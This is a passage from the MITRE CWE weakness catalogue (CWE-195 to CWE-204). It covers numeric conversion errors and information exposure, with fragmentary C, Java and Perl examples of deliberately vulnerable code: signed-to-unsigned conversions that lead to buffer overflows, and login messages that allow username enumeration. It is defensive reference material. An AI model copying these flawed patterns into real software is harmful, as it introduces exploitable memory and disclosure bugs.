The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1239
CanFollow		839	Numeric Range Comparison Without Minimum Check	1448
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	264

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1239

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
	<i>Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.</i>	

### Demonstrative Examples

#### Example 1:

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

*Example Language: C**(bad)*

```
unsigned int readdata () {int amount = 0;...if (result == ERROR)amount = -1;...return amount;}
```

If the error condition in the code above is met, then the return value of `readdata()` will be 4,294,967,295 on a system that uses 32-bit integers.

**Example 2:**

In this example, depending on the return value of `accessmainframe()`, the variable `amount` can hold a negative value when it is returned. Because the function is declared to return an unsigned value, `amount` will be implicitly cast to an unsigned number.

*Example Language: C**(bad)*

```
unsigned int readdata () {int amount = 0;...amount = accessmainframe();...return amount;}
```

If the return value of `accessmainframe()` is -1, then the return value of `readdata()` will be 4,294,967,295 on a system that uses 32-bit integers.

**Example 3:**

The following code is intended to read an incoming packet from a socket and extract one or more headers.

*Example Language: C**(bad)*

```
DataPacket *packet;int numHeaders;PacketHeader *headers; sock=AcceptSocketConnection();ReadPacket(packet, sock);numHeaders =packet->headers; if (numHeaders > 100) {ExitError("too many headers!");}headers = malloc(numHeaders * sizeof(PacketHeader));ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, `numHeaders` is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the `malloc` calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to `malloc()`, it is first converted to a `size_t` type. This conversion then produces a large value such as 4294966996, which may cause `malloc()` to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick `malloc()` into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

**Example 4:**

This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.

*Example Language: C**(bad)*

```
char* processNext(char* strm) {char buf[512];short len = *(short*) strm;strm += sizeof(len);if (len <= 512) {memcpy(buf, strm, len);process(buf);return strm + len;}else {return -1;}}
```

The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that `len` is a signed short, so the check against the maximum structure length is done with signed values, but `len` is converted to an unsigned integer for the call to `memcpy()` and the negative bit will be extended to result in a huge value for the unsigned integer. If `len` is negative, then it will appear that the structure has an appropriate size (the `if` branch will be taken), but the amount of memory copied by `memcpy()` will be quite large, and the attacker will be able to overflow the stack with data in `strm`.

**Example 5:**

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C

(bad)

```
int returnChunkSize(void *) { /* if chunk info is valid, return the size of usable memory, * else, return -1 to indicate an error
*/ ... }int main() {...memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));...}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

### Observed Examples

Reference	Description
<b>CVE-2007-4268</b>	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4268">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4268</a>

### MemberOf Relationships

## CWE-196: Unsigned to Signed Conversion Error

<b>Weakness ID</b> : 196	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.

### Extended Description

Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1239
CanAlsoBe		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	273
CanAlsoBe		124	Buffer Underwrite ('Buffer Underflow')	290

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1239

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
	<i>Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.</i>	
Integrity	Modify Memory	
	<i>If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.</i>	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Bypass Protection Mechanism	
Availability		
Access Control	<i>Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i>	

## Potential Mitigations

### Phase: Requirements

Choose a language which is not subject to these casting flaws.

### Phase: Architecture and Design

Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.

### Phase: Implementation

Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.

## MemberOf Relationships

## CWE-197: Numeric Truncation Error

<b>Weakness ID</b> : 197	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.

### Extended Description

When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

CanAlsoBe		192	Integer Coercion Error	433
CanAlsoBe		194	Unexpected Sign Extension	440
CanAlsoBe		195	Signed to Unsigned Conversion Error	443
CanAlsoBe		196	Unsigned to Signed Conversion Error	445

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1239

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory  <i>The true value of the data is lost and corrupted data is used.</i>	

## Potential Mitigations

### Phase: Implementation

Ensure that no casts, implicit or explicit, take place that move from a larger size primitive or a smaller size primitive.

## Demonstrative Examples

### Example 1:

This example, while not exploitable, shows the possible mangling of values associated with truncation errors:

*Example Language: C*

*(bad)*

```
int intPrimitive;short shortPrimitive;intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1)));shortPrimitive = intPrimitive;printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive);
```

The above code, when compiled and run on certain systems, returns the following output:

*Example Language:*

*(result)*

```
Int MAXINT: 2147483647Short MAXINT: -1
```

This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.

### Example 2:

In the following Java example, the method `updateSalesForProduct` is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to the primitive type `short` since the method requires short type for the method arguments.

*Example Language: Java*

*(bad)*

```
... // update sales database for number of product sold with product ID public void updateSalesForProduct(String productID, int amountSold) { // get the total number of products in inventory database int productCount = inventory.getProductCount(productID); // convert integer values to short, the method for the // sales object requires the parameters to be of type short short count = (short) productCount;short sold = (short) amountSold; // update sales database for product sales.updateSalesCount(productID, count, sold); }...
```

However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type short. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a from a larger size primitive type to a smaller size primitive type should be prevented. The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type short before the explicit cast and the call to the sales method.

Example Language: Java

(good)

```
... // update sales database for number of product sold with product ID public void updateSalesForProduct(String
productID, int amountSold) { // get the total number of products in inventory database int productCount =
inventory.getProductCount(productID); // make sure that integer numbers are not greater than // maximum value for type
short before converting if ((productCount < Short.MAX_VALUE) && (amountSold < Short.MAX_VALUE)) { // convert
integer values to short, the method for the // sales object requires the parameters to be of type short short count = (short)
productCount;short sold = (short) amountSold; // update sales database for product sales.updateSalesCount(productID,
count, sold); else { // throw exception or perform other processing ... }...
```

## Observed Examples

Reference	Description
<b>CVE-2009-0231</b>	Integer truncation of length value leads to heap-based buffer overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0231">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0231</a>
<b>CVE-2008-3282</b>	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3282">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3282</a>

## CWE-198: Use of Incorrect Byte Ordering

**Weakness ID** : 198

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		188	Reliance on Data/Memory Layout	423

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		189	Numeric Errors	1537

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Detection Methods

#### Black Box

Because byte ordering bugs are usually very noticeable even with normal inputs, this bug is more likely to occur in rarely triggered error conditions, making them difficult to detect using black box methods.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	Page
MemberOf		857	CERT Java Secure Coding Section 12 - Input Output (FIO)	844
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling	1644

## Notes

### Research Gap

Under-reported.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Numeric Byte Ordering Error
CERT Java Secure Coding	FIO12-J		Provide methods to read and write little-endian data

## CWE-200: Information Exposure

<b>Weakness ID</b> : 200	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

## Description

An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information.

## Extended Description

The information either is regarded as sensitive within the product's own functionality, such as a private message; or provides information about the product or its environment that could be useful in an attack but is normally not available to the attacker, such as the installation path of a product that is remotely accessible. Many information exposures are resultant (e.g. PHP script error revealing the full path of the program), but they can also be primary (e.g. timing discrepancies in cryptography). There are many different types of problems that involve information exposures. Their severity can range widely depending on the type of information that is revealed.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

**Paradigm :** Mobile (*Prevalence = Undetermined*)

### Alternate Terms

**Information Leak :** This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with exposure of information, but in other cases (such as "memory

leak") this deals with improper tracking of resources which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.

**Information Disclosure** : This term is frequently used in vulnerability databases and other sources, however "disclosure" does not always have security implications. The phrase "information disclosure" is also used frequently in policies and legal documents, but do not refer to disclosure of security-relevant information.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data

*Effectiveness = High*

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Source code Weakness Analyzer

*Effectiveness = High*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### Potential Mitigations

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	1666
MemberOf	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	629	1560

## CWE-201: Information Exposure Through Sent Data

**Weakness ID** : 201

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The accidental exposure of sensitive information through sent data refers to the transmission of data which are either sensitive in and of itself or useful in the further exploitation of the system through standard data channels.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Information Exposure	451
CanAlsoBe		202	Exposure of Sensitive Data Through Data Queries	456
CanAlsoBe		209	Information Exposure Through an Error Message	468

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1015	Limit Access	1656

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		200	Information Exposure	451

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Memory Read Application Data  <i>Sensitive data may be exposed to attackers.</i>	

## Potential Mitigations

### Phase: Requirements

Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.

### Phase: Implementation

Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.

### Phase: System Configuration

Setup default error messages so that unexpected errors do not disclose sensitive information.

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should

rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

## Demonstrative Examples

### Example 1:

The following is an actual MySQL error statement:

Example Language: SQL

(result)

```
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4
```

The error clearly exposes the database credentials.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1627

## Taxonomy Mappings

618	Cellular Broadcast Message Request
619	Signal Strength Tracking
621	Analysis of Packet Timing and Sizes
622	Electromagnetic Side-Channel Attack
623	Compromising Emanations Attack

## CWE-202: Exposure of Sensitive Data Through Data Queries

Weakness ID : 202

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

When trying to keep information confidential, an attacker can often infer some of the information by using statistics.

### Extended Description

In situations where data should not be tied to individual users, but a large number of users should be able to make queries that "scrub" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		359	Exposure of Private Information ('Privacy Violation')	749

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		200	Information Exposure	451

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data  <i>Sensitive information may possibly be leaked through data queries accidentally.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

This is a complex topic. See the book Translucent Databases for a good discussion of best practices.

### Demonstrative Examples

#### Example 1:

See the book Translucent Databases for examples.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Accidental leaking of sensitive information through data queries

## CWE-203: Information Exposure Through Discrepancy

**Weakness ID** : 203

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Class

### Description

The product behaves differently or sends different responses in a way that exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Information Exposure	451
ParentOf		204	Response Discrepancy Information Exposure	461
ParentOf		205	Information Exposure Through Behavioral Discrepancy	463
ParentOf		208	Information Exposure Through Timing Discrepancy	467

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		200	Information Exposure	451
ParentOf		204	Response Discrepancy Information Exposure	461
ParentOf		205	Information Exposure Through Behavioral Discrepancy	463
ParentOf		208	Information Exposure Through Timing Discrepancy	467

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Application Data Bypass Protection Mechanism	
<i>An attacker can gain access to sensitive information about the system, including authentication information that may allow an attacker to gain access to the system.</i>		

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

### Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent

messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

## Demonstrative Examples

### Example 1:

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

Example Language: Perl

(bad)

```
my $username=param('username');my $password=param('password'); if (IsValidUsername($username) == 1)
{if (IsValidPassword($username, $password) == 1){print "Login Successful";}else{print "Login Failed - incorrect
password";}}else{print "Login Failed - unknown username";}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

Example Language:

(result)

```
"Login Failed - incorrect username or password"
```

## Observed Examples

Reference	Description
<b>CVE-2002-2094</b>	This, and others, use "." attacks and monitor error responses, so there is overlap with directory traversal. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2094">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2094</a>
<b>CVE-2001-1483</b>	Enumeration of valid usernames based on inconsistent responses <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1483">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1483</a>
<b>CVE-2001-1528</b>	Account number enumeration via inconsistent responses. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1528">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1528</a>
<b>CVE-2004-2150</b>	User enumeration via discrepancies in error messages. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2150">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2150</a>
<b>CVE-2005-1650</b>	User enumeration via discrepancies in error messages. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1650">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1650</a>
<b>CVE-2004-0294</b>	Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0294">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0294</a>
<b>CVE-2004-0243</b>	Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0243">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0243</a>
<b>CVE-2002-0514</b>	Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0514">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0514</a>
<b>CVE-2002-0515</b>	Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0515">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0515</a>

Reference	Description
<b>CVE-2001-1387</b>	Product may generate different responses than specified by the administrator, possibly leading to an information leak. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1387">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1387</a>
<b>CVE-2004-0778</b>	Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0778">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0778</a>
<b>CVE-2004-1428</b>	FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1428">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1428</a>
<b>CVE-2003-0078</b>	SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack." <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0078">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0078</a>
<b>CVE-2000-1117</b>	Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1117">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1117</a>
<b>CVE-2003-0637</b>	Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0637">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0637</a>
<b>CVE-2003-0190</b>	Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0190">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0190</a>
<b>CVE-2004-1602</b>	FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1602">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1602</a>
<b>CVE-2005-0918</b>	Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0918">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0918</a>

OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

## CWE-204: Response Discrepancy Information Exposure

**Weakness ID :** 204

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software provides different responses to incoming requests in a way that allows an actor to determine system state information that is outside of that actor's control sphere.

### Extended Description

This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		203	Information Exposure Through Discrepancy	457

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		203	Information Exposure Through Discrepancy	457

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase:** Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Phase: Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

**Demonstrative Examples****Example 1:**

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

*Example Language: Perl*

*(bad)*

```
my $username=param('username');my $password=param('password'); if (IsValidUsername($username) == 1)
